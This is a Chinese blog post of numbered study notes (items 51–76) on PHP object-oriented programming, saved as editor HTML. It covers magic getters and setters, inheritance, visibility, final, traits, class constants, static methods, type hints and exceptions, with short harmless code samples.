<div id="bWwUA" class="lake-card-margin lake-selected" data-card-type="block" data-lake-card="codeblock" data-card-value="data:%7B%22mode%22%3A%22php%22%2C%22code%22%3A%22%3C%3Fphp%5Cnclass%20classname%5Cn%7B%5Cn%5Ctprivate%20%24a%3B%5Cn%5Ctfunction%20__get(%24name)%5Cn%5Ct%7B%5Cn%5Ct%5Ctreturn%20%24this-%3E%24name%20%3B%5Cn%5Ct%7D%5Cn%5Ctfunction%20__set(%24name%2C%24value)%5Cn%5Ct%7B%5Cn%5Ct%5Ct%24this-%3E%24name%20%3D%20%24value%20%3B%5Cn%5Ct%7D%5Cn%7D%5Cn%24b%20%3D%20new%20classname()%3B%5Cn%24b-%3Ea%20%3D%205%3B%5Cnecho%20%24b-%3Ea%3B%5Cn%3F%3E%22%2C%22heightLimit%22%3Atrue%2C%22margin%22%3Atrue%2C%22id%22%3A%22bWwUA%22%7D" data-language="php">
<div class="lake-codeblock-content">
<div class="CodeMirror-sizer">
<pre class="cm-s-default"><span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-meta"><?php
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-keyword">class <span class="cm-def">classname
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"> <span class="cm-keyword">private <span class="cm-variable-2">$a;
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"> <span class="cm-keyword">function <span class="cm-def">__get(<span class="cm-variable-2">$name)
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"> {
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"> <span class="cm-keyword">return <span class="cm-variable-2">$this<span class="cm-operator">-><span class="cm-variable-2">$name ;
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"> }
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"> <span class="cm-keyword">function <span class="cm-def">__set(<span class="cm-variable-2">$name,<span class="cm-variable-2">$value)
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"> {
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"> <span class="cm-variable-2">$this<span class="cm-operator">-><span class="cm-variable-2">$name <span class="cm-operator">= <span class="cm-variable-2">$value ;
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"> }
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">}
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-variable-2">$b <span class="cm-operator">= <span class="cm-keyword">new <span class="cm-variable">classname();
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-variable-2">$b<span class="cm-operator">-><span class="cm-variable">a <span class="cm-operator">= <span class="cm-number">5;
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-keyword">echo <span class="cm-variable-2">$b<span class="cm-operator">-><span class="cm-variable">a;
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-meta">?></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
</div>
</div>
</div>
<p data-lake-id="b883f4e873a068fabf8eced17a464d1e"> </p>
<p data-lake-id="b883f4e873a068fabf8eced17a464d1e"><span class="lake-fontsize-14">51.了解php继承,可以看看笔者关于JavaScript原型链继承及污染也可触类旁通。</span></p>
<p data-lake-id="dff4ce9fe510da6d2c039b89ddea7fb3"><span class="lake-fontsize-14"> php继承可以使用关键字<strong><span class="lake-fontsize-14">extends,</span></strong></span></p>
<div id="BrKMM" class="lake-card-margin lake-selected" data-card-type="block" data-lake-card="codeblock" data-card-value="data:%7B%22mode%22%3A%22php%22%2C%22code%22%3A%22%3C%3Fphp%5Cnclass%20B%20extends%20A%5Cn%7B%5Cn%20%20public%20%24b%3B%5Cn%20%20function%20bbb()%5Cn%20%20%7B%5Cn%20%20%7D%5Cnclass%20A%5Cn%7B%5Cn%20%20public%20%24a%3B%5Cn%20%20function%20aaa()%5Cn%20%20%7B%5Cn%20%20%7D%5Cn%20%20%24xluo%20%3D%20new%20B()%3B%5Cn%20%20%24xluo-%3Ea()%3B%5Cn%20%20%24xluo-%3Eb()%3B%5Cn%20%20%24xluo-%3Ea%20%3D%201%3B%5Cn%20%20%24xluo-%3Eb%20%3D%201%3B%5Cn%7D%22%2C%22heightLimit%22%3Atrue%2C%22margin%22%3Atrue%2C%22id%22%3A%22BrKMM%22%2C%22autoWrap%22%3Afalse%7D" data-language="php">
<div class="lake-codeblock-content">
<div class="CodeMirror-sizer">
<pre class="cm-s-default"><span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-meta"><?php
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-keyword">class <span class="cm-def">B <span class="cm-keyword">extends <span class="cm-variable">A
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-keyword">public <span class="cm-variable-2">$b;
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-keyword">function <span class="cm-def">bbb()
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">}
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-keyword">class <span class="cm-def">A
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-keyword">public <span class="cm-variable-2">$a;
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-keyword">function <span class="cm-def">aaa()
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">}<br>}
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-variable-2">$xluo <span class="cm-operator">= <span class="cm-keyword">new <span class="cm-variable">B();
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-variable-2">$xluo<span class="cm-operator">-><span class="cm-variable">a();
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-variable-2">$xluo<span class="cm-operator">-><span class="cm-variable">b();
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-variable-2">$xluo<span class="cm-operator">-><span class="cm-variable">a <span class="cm-operator">= <span class="cm-number">1;
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-variable-2">$xluo<span class="cm-operator">-><span class="cm-variable">b <span class="cm-operator">= <span class="cm-number">1;<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><br>?></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
</div>
</div>
</div>
<p data-lake-id="ceaf358d620dc8df58242c765e1952ed"><span class="lake-fontsize-14">以上对$xluo的操作全部成立,因为类B继承了类A。</span></p>
<p data-lake-id="fe87dcf3827207f13c15b887cdd016a6"> </p>
<p data-lake-id="fe87dcf3827207f13c15b887cdd016a6"><span class="lake-fontsize-14">52.通过继承使用private和protected控制可见性。</span></p>
<p data-lake-id="5f6c44d92f07a24037b564322645c3cd"><span class="lake-fontsize-14"> 如果属性被指定为<strong>private,</strong><span class="lake-fontsize-14">它将不能被继承,</span></span></p>
<p data-lake-id="9092fa854c26012122fd1c650778353c"><span class="lake-fontsize-14"> 如果属性被指定为<strong>protected,</strong><span class="lake-fontsize-14">它将在类外部不可见,但是可以被继承。</span></span></p>
<p data-lake-id="4c14ce86fb1121e1ea16483b557af0a0"> </p>
<p data-lake-id="4c14ce86fb1121e1ea16483b557af0a0"><span class="lake-fontsize-14">53.了解php的覆盖,子类重载(覆盖)父类,parent允许调用父类操作的最初版本,比如声明类B,继承类A,因此继承了类A和类A父类(如果有)的所有特性,类B可以选择覆盖和替换父类的属性和操作,<span class="lake-fontsize-14">链接</span><span class="lake-fontsize-14">。</span></span></p>
<p data-lake-id="0bbf1d451b7c7e472590b98685551c1e"> </p>
<p data-lake-id="0bbf1d451b7c7e472590b98685551c1e"><span class="lake-fontsize-14">54.可使用final关键字禁止继承和覆盖</span></p>
<div id="dgUT9" class="lake-card-margin lake-selected" data-card-type="block" data-lake-card="codeblock" data-card-value="data:%7B%22mode%22%3A%22php%22%2C%22code%22%3A%22%3C%3Fphp%5Cnclass%20A%5Cn%7B%5Cn%20%20public%20%24a%20%3D%20'a'%3B%5Cn%20%20final%20function%20xluo()%5Cn%20%20%7B%5Cn%20%20%20%20echo%20%5C%22aaaa%5C%22%3B%5Cn%20%20%7D%5Cn%7D%5Cn%3F%3E%22%2C%22heightLimit%22%3Atrue%2C%22margin%22%3Atrue%2C%22id%22%3A%22dgUT9%22%7D" data-language="php">
<div class="lake-codeblock-content">
<div class="CodeMirror-sizer">
<pre class="cm-s-default"><span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-meta"><?php
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-keyword">class <span class="cm-def">A
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-keyword">public <span class="cm-variable-2">$a <span class="cm-operator">= <span class="cm-string">'a';
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-keyword">final <span class="cm-keyword">function <span class="cm-def">xluo()
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"> <span class="cm-keyword">echo <span class="cm-string">"<span class="cm-string">aaaa";
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">}
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">}
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-meta">?></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
</div>
</div>
</div>
<p data-lake-id="33cf3fb2227ef122ffa812b1a2426b41"><span class="lake-fontsize-14">以上class B extends A(类B继承类A)时,可以禁止类B覆盖xluo()方法。</span></p>
<p data-lake-id="ce871cd01e12aac6395c306bf676782d"><span class="lake-fontsize-14">也可以用final在class前面防止class被继承。</span></p>
<p data-lake-id="1896ecc8916d619c8d90188a2b2a3294"> </p>
<p data-lake-id="1896ecc8916d619c8d90188a2b2a3294"><span class="lake-fontsize-14">55.理解多重继承,php<strong><span class="lake-fontsize-14">不支持</span></strong><span class="lake-fontsize-14">多重继承,每个类只能继承一个父类。</span></span></p>
<p data-lake-id="3750a94be9bfbf144207f71e3c23069e"><span class="lake-fontsize-14"> 但php中提供了两种机制来支持类多重继承功能:<strong><span class="lake-fontsize-14">接口</span></strong><span class="lake-fontsize-14">(类似Java)和<strong><span class="lake-fontsize-14">Trait</span></strong><span class="lake-fontsize-14">。<span class="lake-fontsize-14">(建议使用Trait)</span></span></span></span></p>
<p data-lake-id="45a0b6bf8cbcdb8443b09984f5bfab68"><span class="lake-fontsize-14"> 实现接口示例,<span class="lake-fontsize-14">链接</span><span class="lake-fontsize-14">。</span></span></p>
<p data-lake-id="16bf97abbc6834160842827975ef75f7"><span class="lake-fontsize-14"> 使用Trait,<span class="lake-fontsize-14">链接</span><span class="lake-fontsize-14">。(ps:若类已继承获得了继承的方法并使用Trait,覆盖优先级为Trait方法覆盖继承的方法,但当前类方法覆盖Trait的方法)了解多个Trait冲突的解决办法。</span></span></p>
<p data-lake-id="f5a1a6489d1bb80e5fbfca52a13298d0"> </p>
<p data-lake-id="f5a1a6489d1bb80e5fbfca52a13298d0"><span class="lake-fontsize-14">56.学会编写自定义类代码。</span></p>
<p data-lake-id="4fbb4c7c91cb8e7a871724a914095b5c"> </p>
<p data-lake-id="4fbb4c7c91cb8e7a871724a914095b5c"><span class="lake-fontsize-14">57.理解php面向对象高级功能。</span></p>
<p data-lake-id="c284e9f2aca863c6a4a5217832d8888d"> </p>
<p data-lake-id="c284e9f2aca863c6a4a5217832d8888d"><span class="lake-fontsize-14">58.了解使用类级别常量。php提供了类级别常量的思想,这个常量可以在不初始化类的情况下使用,可以通过::操作符并指定常量所属的类来访问类级别的常量。</span></p>
<div id="VVe60" class="lake-card-margin lake-selected" data-card-type="block" data-lake-card="codeblock" data-card-value="data:%7B%22mode%22%3A%22php%22%2C%22code%22%3A%22%3C%3Fphp%5Cnclass%20xluo%5Cn%7B%5Cn%20%20const%20a%20%3D%201.1%3B%5Cn%7D%5Cnecho%20%5C%22xluo%3A%3Aa%20%3D%20%5C%22.xluo%3A%3Aa%3B%5Cn%3F%3E%22%2C%22heightLimit%22%3Atrue%2C%22margin%22%3Atrue%2C%22id%22%3A%22VVe60%22%7D" data-language="php">
<div class="lake-codeblock-content">
<div class="CodeMirror-sizer">
<pre class="cm-s-default"><span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-meta"><?php
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-keyword">class <span class="cm-def">xluo
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-keyword">const <span class="cm-variable">a <span class="cm-operator">= <span class="cm-number">1.1;
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">}
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-keyword">echo <span class="cm-string">"<span class="cm-string">xluo::a = ".<span class="cm-variable">xluo::<span class="cm-variable">a;
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-meta">?></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
</div>
</div>
</div>
<p data-lake-id="765081fb56b692c711f391f89299b389"> </p>
<p data-lake-id="765081fb56b692c711f391f89299b389"><span class="lake-fontsize-14">59.实现静态方法。使用<strong><span class="lake-fontsize-14">static</span></strong><span class="lake-fontsize-14">关键字,允许在未初始化类的情况下调用方法(等价于类级别常量的思想)。</span></span></p>
<div id="sjZdI" class="lake-card-margin lake-selected" data-card-type="block" data-lake-card="codeblock" data-card-value="data:%7B%22mode%22%3A%22php%22%2C%22code%22%3A%22%3C%3Fphp%5Cnclass%20xluo%5Cn%7B%5Cn%20%20static%20function%20xluoxluo(%24a)%5Cn%20%20%7B%5Cn%20%20%20%20return%20%24a*%24a%3B%5Cn%20%20%7D%5Cn%7D%5Cnecho%20xluo%3A%3Axluoxluo(2)%3B%5Cn%3F%3E%22%2C%22heightLimit%22%3Atrue%2C%22margin%22%3Atrue%2C%22id%22%3A%22sjZdI%22%7D" data-language="php">
<div class="lake-codeblock-content">
<div class="CodeMirror-sizer">
<pre class="cm-s-default"><span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-meta"><?php
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-keyword">class <span class="cm-def">xluo
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-keyword">static <span class="cm-keyword">function <span class="cm-def">xluoxluo(<span class="cm-variable-2">$a)
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"> <span class="cm-keyword">return <span class="cm-variable-2">$a<span class="cm-operator">*<span class="cm-variable-2">$a;
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">}
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content">}
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-1"><span class="lake-preview-codeblock-content"><span class="cm-keyword">echo <span class="cm-variable">xluo::<span class="cm-variable">xluoxluo(<span class="cm-number">2);
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-meta">?></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
</div>
</div>
</div>
<p data-lake-id="a5f62724d6f2de8e3a2f267d5083263d"> </p>
<p data-lake-id="a5f62724d6f2de8e3a2f267d5083263d"><span class="lake-fontsize-14">60.检查类类型和类型提示,通常使用<strong><span class="lake-fontsize-14">instanceof,</span></strong><span class="lake-fontsize-14">检查一个对象是否是特定的类的实例,是否是某个类继承过来或是否实现了某个接口<span class="lake-fontsize-14">。</span></span></span></p>
<p data-lake-id="ad3dcb143715ac33890ea61c25335b6c"><span class="lake-fontsize-14"> 比如类B继承(extends)类A,且类A、类B和接口Xluo都位于当前的作用域,那么{$b instanceof B}将返回true,{$b instanceof A}将返回true,{$b instanceof Xluo}将返回false。</span></p>
<p data-lake-id="956b3d9ed257b2caed7e19ce708b5825"><span class="lake-fontsize-14"> 使用类类型提示可以指定必须传入的参数类类型</span></p>
<div id="dYRpQ" class="lake-card-margin lake-selected" data-card-type="block" data-lake-card="codeblock" data-card-value="data:%7B%22mode%22%3A%22php%22%2C%22code%22%3A%22function%20xluo(B%20%24a)%22%2C%22heightLimit%22%3Atrue%2C%22margin%22%3Atrue%2C%22id%22%3A%22dYRpQ%22%7D" data-language="php">
<div class="lake-codeblock-content">
<div class="CodeMirror-sizer">
<pre class="cm-s-default"><span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">function xluo(B $a)</span></span></span></pre>
</div>
</div>
</div>
<p data-lake-id="a4a7f48bda262558d572631929878386"> </p>
<p data-lake-id="a4a7f48bda262558d572631929878386"><span class="lake-fontsize-14">61.延迟静态绑定。</span></p>
<p data-lake-id="d85d8765b28ec3e2646db114a729a0ef"> </p>
<p data-lake-id="d85d8765b28ec3e2646db114a729a0ef"><span class="lake-fontsize-14">62.对象克隆。<span class="lake-fontsize-14">了解<strong><span class="lake-fontsize-14">__clone()</span></strong><span class="lake-fontsize-14">方法</span></span></span></p>
<p data-lake-id="05a78c8aca85f3d56b266ca80afb819b"> </p>
<p data-lake-id="05a78c8aca85f3d56b266ca80afb819b"><span class="lake-fontsize-14">63.使用抽象类。</span></p>
<p data-lake-id="3566ea062aca81b081fd24374f4e5507"> </p>
<p data-lake-id="3566ea062aca81b081fd24374f4e5507"><span class="lake-fontsize-14">64.使用__call()重载方法。</span></p>
<p data-lake-id="bd138527a53bb675697b4a31d6cda63d"> </p>
<p data-lake-id="bd138527a53bb675697b4a31d6cda63d"><span class="lake-fontsize-14">65.使用__autoload()方法。</span></p>
<p data-lake-id="e5c1f174befd995041196f004b510e10"> </p>
<p data-lake-id="e5c1f174befd995041196f004b510e10"><span class="lake-fontsize-14">66.实现迭代器和迭代。</span></p>
<p data-lake-id="233ad9e6f2d1759447d1fa420f1fe310"> </p>
<p data-lake-id="233ad9e6f2d1759447d1fa420f1fe310"><span class="lake-fontsize-14">67.了解生成器。</span></p>
<p data-lake-id="5af4e5d9773fcfe914ff7892b673184f"> </p>
<p data-lake-id="5af4e5d9773fcfe914ff7892b673184f"><span class="lake-fontsize-14">68.将类转化为字符串。<span class="lake-fontsize-14">实现<strong><span class="lake-fontsize-14">__toString()</span></strong><span class="lake-fontsize-14">函数。</span></span></span></p>
<p data-lake-id="a03def39a207f0f00ad77ad9051f2cf3"> </p>
<p data-lake-id="a03def39a207f0f00ad77ad9051f2cf3"><span class="lake-fontsize-14">69.使用反射API。</span></p>
<p data-lake-id="639cb5a8a0c463239bde213fbfd93219"> </p>
<p data-lake-id="639cb5a8a0c463239bde213fbfd93219"><span class="lake-fontsize-14">70.了解名称空间,了解使用子名称空间,理解全局名称空间,名称空间的导入和别名</span></p>
<p data-lake-id="322108a783671768a50e34bd5e10fc16"> </p>
<p data-lake-id="322108a783671768a50e34bd5e10fc16">71.了解异常处理的概念。<span class="lake-fontsize-14">throw关键字异常处理机制,同时它是一个语言结构而不是函数,但必须给它传递一个值。</span></p>
<p data-lake-id="a82a750476879955aa6d4750072d608f"> </p>
<p data-lake-id="a82a750476879955aa6d4750072d608f">72.了解Exception类<span class="lake-fontsize-14">,其构造函数有三个参数,错误消息、错误代码及前序异常。</span></p>
<p data-lake-id="2c8d6b8bf69f7fbd5f138ae3657ac9a4"> </p>
<p data-lake-id="2c8d6b8bf69f7fbd5f138ae3657ac9a4">73.学会用户自定义异常。</p>
<p data-lake-id="9aa421be17387cba93955bf5e9806046"> </p>
<p data-lake-id="9aa421be17387cba93955bf5e9806046">74.了解异常和其他错误处理机制。</p>
<p data-lake-id="7b42ca888efdc3e493f189f073f7b7e4"> </p>
<p data-lake-id="7b42ca888efdc3e493f189f073f7b7e4"><span class="lake-fontsize-14">75.学会php与数据库交互的函数,<span class="lake-fontsize-14">链接1,链接2.</span><span class="lake-fontsize-14"><br></span></span></p>
<p data-lake-id="09d24ccb07f5fff00bfb131d3f08ad66"> </p>
<p data-lake-id="09d24ccb07f5fff00bfb131d3f08ad66"><span class="lake-fontsize-14">76.</span></p>
<p data-lake-id="cab08c1970a0c4d46d4816977a0ee7e0"><span style="color: rgba(204, 153, 255, 1)"><strong>---php学习的事情就先告一段落了,之后有遇到的话再补上---</strong></span></p>
<p data-lake-id="fa7e32a98fcd8704824fae4b877cf64a"><span class="lake-fontsize-14"> </span></p><br><br>
来源:https://www.cnblogs.com/xluoxluo/p/14128652.html
頁:
[1]